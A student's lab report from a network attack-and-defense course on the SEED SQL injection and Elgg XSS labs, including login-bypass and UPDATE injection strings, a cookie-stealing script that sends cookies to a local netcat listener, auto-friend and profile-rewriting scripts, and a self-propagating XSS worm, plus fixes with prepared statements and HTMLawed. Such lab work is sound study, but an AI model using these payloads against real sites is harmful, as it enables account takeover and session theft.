20222926 2022-2023-2 《网络攻防实践》第10周作业

Zeus&Jesus 2023-05-17 22:46:41

1. 实验内容

1.1 SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

SQL对抗:修复上述SQL注入攻击漏洞。

1.2 SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

弹窗显示cookie信息:将cookie信息显示。

窃取受害者的cookies:将cookie发送给攻击者。

成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

编写XSS蠕虫。

对抗XSS攻击。

2. 基础知识梳理

2.1 SQL注入原理

SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。可以通过一个例子简单说明SQL注入攻击。假设某网站页面显示时URL为http://www.example.com?test=123,此时URL实际向服务器传递了值为123的变量test,这表明当前页面是对数据库进行动态查询的结果。由此,我们可以在URL中插入恶意的SQL语句并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。

防范措施:
使用类型安全的参数编码机制
凡是来自外部的用户输入,必须进行完备检查
将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
加强SQL数据库服务器的配置与连接

2.2 XSS攻击

跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。攻击者可以使用户在浏览器中执行其预定义的恶意脚本,其导致的危害可想而知,如劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖 XSS蠕虫 ,甚至破坏网站、修改路由器配置信息等。XSS漏洞可以追溯到上世纪90年代。大量的网站曾遭受XSS漏洞攻击或被发现此类漏洞,如Twitter、Facebook、MySpace、Orkut、新浪微博和百度贴吧。研究表明,最近几年XSS已经超过缓冲区溢出成为最流行的攻击方式,有68%的网站可能遭受此类攻击。
原理:HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。

 

3. 实验过程

3.1 SEED SQL注入攻击与防御实验

3.1.1 测试SQL语句

首先,将hostname改为xushaofei

接着输入service apache2 start 启动apache服务 

 然后输入mysql -u root -p,进入mysql数据库

 输入show databases,查看本机已有的数据库:

 

然后连续输入use Users;  show  tables;    查看Users数据库中已存在的所有表:

 输入select * from credential;  可以查看表中所有的记录:

输入select * from credential where Name='Ted';  查询Name为Ted的记录:

3.1.2 对SELECT语句的SQL注入攻击

在浏览器中输入http://www.seedlabsqlinjection.com/ ,可以访问搭建好的页面:

输入ctrl+u可以查看网页源码: 

当用户输入登录信息并提交后,系统会把用户输入的信息通过get方法提交至unsafe_home.php页面
对该页面进行分析
 

打开路径:var/www/SQLInjection/unsafe_home.php

可以看到系统对admin和普通用户的响应办法不同,对SQL语句进行分析后,进行SQL注入攻击
构造Admin'# 这样就会使#之后的Password判断失效,可实现在不知道密码的情况下进行登录:

3.1.3 对UPDATE语句的SQL注入攻击:

继续查看分析网页源码,点击Edit Profile

 

当用户提交信息后,表单使用get方法将输入的信息提交至unsafe_edit_backend.php页面
进入路径:var/www/SQLInjection/unsafe_edit_backend.php

可以通过修改 $input_nickname 的值来进行SQL注入攻击,可以使 $input_nickname 的值为 ', Salary='20222926' where name='Admin'; #,也就是把Admin的Salary改为20222926,成功实现SQL注入!

 3.1.4 SQL对抗:修复上述SQL注入攻击漏洞

将参数与需要执行的动作或条件分开,就可以避免sql注入
具体地:

对unsafe_home.php中的select语句进行以下修改:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
针对unsafe_edit_backend.php中的update语句进行以下修改:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

 

3.2 SEED XSS跨站脚本攻击实验(Elgg)

3.2.1 显示警报窗口

 打开浏览器输入www.xsslabelgg.com
输入账号:Alice,密码:seedalice登录:

 然后进入Profile页面:

然后在Brief Description栏中输入<script>alert(‘XSS’);</script>,再单击“save”保存设置。
在个人简介界面中显示了弹窗提示“XSS”。 

 

 3.2.2 cookies信息弹窗显示

将刚才的brief description中的信息修改为:<script>alert(document.cookie);</script>
即可显示当前的cookie信息:

3.2.3 窃取受害者的cookies 

首先需要构造payload:<script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>');</script>
在这个payload中,攻击者会从本机地址的5555端口返回一个图片,并且会得到一个cookie值。将这个payload修改到brief description。

为了捕获到escape方法中返回的变量c的值,需要打开终端,使用命令nc -l 5555 -v。
将我们修改的个人信息保存,我们从终端中看到了一些信息:

Get返回的c值就是需要的cookie值!

 3.2.4 成为受害者的朋友

添加好友的操作是:
先进入好友的个人主页Boby:www.xsslabelgg.com/profile/boby。
在好友的个人主页,打开开发者工具,然后切换到Network选项卡。

选择“Add friend”,浏览器即可捕获到GET请求:

点开这个请求,得到请求URL如下:

http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1683732812&__elgg_token=5Bz1C-1FYJl4N1yvVYvH0w
这个请求URL包含如下信息:

地址:http://www.xsslabelgg.com/action/friends/add

好友ID(friend):45

时间戳:1684361044

token

因此,为了添加其他好友,可以构造下面的payload:

<script type="text/javascript">window.onload = function () {

    var Ajax = null;

    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;

    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

 

   var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=20222926" + ts + token;

Ajax = new XMLHttpRequest();

Ajax.open("GET", sendurl, true);

Ajax.setRequestHeader("Host", "www.xsslabelgg.com");

Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

Ajax.send();

}</script>

将这个Payload填写在Alice的用户资料的About me中

 接着可以用Boby的账号来模拟受害者的操作:
这是在点进Alice主页之前的Boby主页:

当Boby在点进去Alice的主页后,会自动添加Alice为好友:

 3.2.5 修改受害者的信息

当修改个人信息时,也会向服务器发送请求。
打开开发人员工具ctrl+shift+E,进入Alice的修改界面,按下save,可以得到POST请求报文:

 可以从中获取token(__elgg_token)和时间戳(__elgg_ts)等信息。

接下来构造下面的payload:

<script type="text/javascript">

    window.onload = function(){

        var userName=elgg.session.user.name;

        var guid="&guid="+elgg.session.user.guid;

        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;

        var token="&__elgg_token="+elgg.security.token.__elgg_token;

        var content= token + ts + "name=" + userName + "&description=<p>This had been changed by XSS attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;

        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"

        var samyGuid=20222926;

        if(elgg.session.user.guid!=samyGuid)

        {

            var Ajax=null;

            Ajax=new XMLHttpRequest();

            Ajax.open("POST",sendurl,true);

            Ajax.setRequestHeader("Host","www.xsslabelgg.com");

            Ajax.setRequestHeader("Content-Type",

            "application/x-www-form-urlencoded");

            Ajax.send(content);

        }

}</script>

然后将这个payload代码拷贝到About me中,并save

登录Boby的个人账户,然后点进Alice的个人主页,然后再返回,发现Boby的个人简介变成了“This had been changed by XSS attack.”

3.2.6 编写XSS蠕虫 

蠕虫代码如下:

<script id="worm" type="text/javascript">

    window.onload = function(){

        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";

        var jsCode = document.getElementById("worm").innerHTML;

        var tailTag = "</" + "script>";

        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

        var userName=elgg.session.user.name;

        var guid="&guid="+elgg.session.user.guid;

        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;

        var token="&__elgg_token="+elgg.security.token.__elgg_token;

        var content= token + ts + "&name=" + userName + "&description=<p>Hacked by XSS WORM !!!"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;

        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"

        var samyGuid=44;

        if(elgg.session.user.guid!=samyGuid){

            var Ajax=null;

            Ajax=new XMLHttpRequest();

            Ajax.open("POST",sendurl,true);

            Ajax.setRequestHeader("Host","www.xsslabelgg.com");

            Ajax.setRequestHeader("Content-Type",

            "application/x-www-form-urlencoded");

            Ajax.send(content);

        }

    }</script>

上述代码会自动复制XSS的payload到受害者的个人资料中从而实现对受害者的感染。如果有其他用户访问了受害者的个人主页,那么他也将被感染。受到感染后,受害者的个人简介会变为“Hacked by XSS WORM !!!”。
将这个蠕虫代码设为Alice的About me中的信息,保存。

当好友Boby访问了Alice的主页,就会感染xss蠕虫。 

3.2.7 对抗XSS攻击的措施

使用插件HTMLawed,将其开启,该插件主要是用来校验用户的输入输出,并且可以自动删除特定的标签

 

4. 学习中遇到的问题

问题1:apache2启动失败

解决:使用root模式

5. 学习中的感悟

通过本次学习,我对SQL注入和XSS注入攻击有了初步的理解和认识,并可以使用它们进行一些简单的攻击实验。

 

 

...全文
98 回复 打赏 收藏 转发到动态 举报
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复

76

社区成员

发帖
与我相关
我的任务
社区描述
网络攻防实践作业
网络安全系统安全 高校
社区管理员
  • blackwall0321
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧